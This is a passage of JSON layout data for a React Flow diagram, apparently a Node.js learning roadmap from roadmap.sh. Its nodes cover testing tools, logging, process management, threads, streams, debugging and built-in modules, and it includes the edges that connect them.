\"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 133.7763111160998,\n        \"y\": 1630.1526950801597\n      },\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qjToBaMenW3SDtEfoCbQ6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1546.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vitest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 89,\n      \"height\": 49,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1546.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 89,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oSLpy31XEcA2nRq9ks_LJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1599.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"node:test\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1599.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5xrbKv2stKPJRv7Vzf9nM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 458.36672552017444,\n        \"y\": 1546.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Jest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 458.36672552017444,\n        \"y\": 1546.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 78,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ix-g9pgJjEI04bSfROvlq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1705.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Playwright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1705.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3Fh3-V1kCZtlUTvEoloIO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1652.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 367.26672552017453,\n        \"y\": 1652.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b7ZAEqo0ZU6TNf18Bo0mI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 133.7763111160998,\n        \"y\": 1799.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Logging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KzUmXkwrmU_ssVBjSHAiY\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 133.7763111160998,\n        \"y\": 1799.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Oe9cQCz2lwSaot7miZOta\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 368.26672552017453,\n        \"y\": 1775.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Winston\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107\n      },\n      \"positionAbsolute\": {\n        \"x\": 368.26672552017453,\n        \"y\": 1775.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CTHFGgtXFpke4aPhh5vRY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 368.26672552017453,\n        \"y\": 1828.7304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Morgan\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107\n      },\n      \"positionAbsolute\": {\n        \"x\": 368.26672552017453,\n        \"y\": 1828.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"af7n-J7VvbdpZh9lwA773\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -228.16916540260297,\n        \"y\": 1800.2304293708296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Keep app Running\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KzUmXkwrmU_ssVBjSHAiY\",\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -228.16916540260297,\n        \"y\": 1800.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7WAuMMyelUbgwEHtnMmJv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.16916540260297,\n        \"y\": 1718.0506125880281\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"pm2 \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -181.16916540260297,\n        \"y\": 1718.0506125880281\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KzUmXkwrmU_ssVBjSHAiY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -228.16916540260297,\n        \"y\": 1929.2304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Threads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -228.16916540260297,\n        \"y\": 1929.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lzPrWD3pxQmpbqgYPL-zW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -228.16916540260297,\n        \"y\": 2024.2304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Child Process\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -228.16916540260297,\n        \"y\": 2024.2304293708294\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PkQ_sQ0YFPCZGx4BRgG0t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -228.16916540260297,\n        \"y\": 2077.2304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cluster\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -228.16916540260297,\n        \"y\": 2077.2304293708294\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bH2Iv3BX0ZiWD3lOmC_m_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -228.16916540260297,\n        \"y\": 2130.2304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Worker Threads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -228.16916540260297,\n        \"y\": 2130.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WrnjjUDXQwwMXQjmgK72U\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 133.7763111160998,\n        \"y\": 1929.2304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Streams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 133.7763111160998,\n        \"y\": 1929.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 133.7763111160998,\n        \"y\": 2076.3398245709736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Debugging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WrnjjUDXQwwMXQjmgK72U\",\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 133.7763111160998,\n        \"y\": 2076.3398245709736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oU9I7KBZoTSXXFmYscEIq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.7637546958802,\n        \"y\": 2021.7304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Memory Leaks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 50.3778076171875\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.7637546958802,\n        \"y\": 2021.7304293708294\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"DcmGcVlEHL4IV7yPMDpVa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.7637546958802,\n        \"y\": 2076.3398245709736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"node --inspect\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.7637546958802,\n        \"y\": 2076.3398245709736\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CvkjlOpT34lOHgzQHL40s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.7637546958802,\n        \"y\": 2129.3398245709736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using APM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.7637546958802,\n        \"y\": 2129.3398245709736\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SJ01N7vMZkNiIuMYQhdpj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.7637546958802,\n        \"y\": 1919.3398245709736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Garbage Collection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.7637546958802,\n        \"y\": 1919.3398245709736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M62lAWBOrTe99TfpFOQ-Y\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 74.54031453135002,\n        \"y\": 2249.2304293708294\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Built-in Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 74.54031453135002,\n        \"y\": 2249.2304293708294\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 378,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -518.7727310549901,\n        \"y\": 2213.468226966216\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -518.7727310549901,\n        \"y\": 2213.468226966216\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 378,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 347,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -503.77273105499006,\n        \"y\": 2267.613884399326\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -503.77273105499006,\n        \"y\": 2267.613884399326\n      },\n      \"style\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"RLtk1C3gofHnLJ17x3o5b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -340.2727310549901,\n        \"y\": 2332.468226966216\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ExXFPDHXtcOMcvZttzxvD\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -340.2727310549901,\n        \"y\": 2332.468226966216\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-DAwKHBng7Tytlcd2_8GORw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DAwKHBng7Tytlcd2_8GORx2-KDd40JOAvZ8O1mfhTYB3Kw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Mp056kNnwsRWeEXuhGPy-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-Mp056kNnwsRWeEXuhGPy-z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ex8FOKrUlbu4MuEq2czyW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-ex8FOKrUlbu4MuEq2czyWz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Vrcv5px-3fqmyJnQv3WBK\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-Vrcv5px-3fqmyJnQv3WBKz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ebVb0anYmbD1Y9ZTFXKFp\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-ebVb0anYmbD1Y9ZTFXKFpz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uPJqdMQQJRkTMMhNORDeH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-uPJqdMQQJRkTMMhNORDeHz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"mbGFT6S7mL3bHHEZv0_s2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Kz2-mbGFT6S7mL3bHHEZv0_s2y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mbGFT6S7mL3bHHEZv0_s2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jQJ9aOKtg-O-GhWk5OgCK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-mbGFT6S7mL3bHHEZv0_s2y2-jQJ9aOKtg-O-GhWk5OgCKz1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jQJ9aOKtg-O-GhWk5OgCK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"t_kfKdNSKVBPYQ9zF9VqQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jQJ9aOKtg-O-GhWk5OgCKz2-t_kfKdNSKVBPYQ9zF9VqQy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wEK77A6MPQBCBUSJKMiaY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"QT2QE2FLkyUDpwMKYkFQL\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wEK77A6MPQBCBUSJKMiaYz2-QT2QE2FLkyUDpwMKYkFQLy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wEK77A6MPQBCBUSJKMiaY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Blzb-fdQZMu6Xq5JDJW0_\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wEK77A6MPQBCBUSJKMiaYz2-Blzb-fdQZMu6Xq5JDJW0_y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wEK77A6MPQBCBUSJKMiaY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": 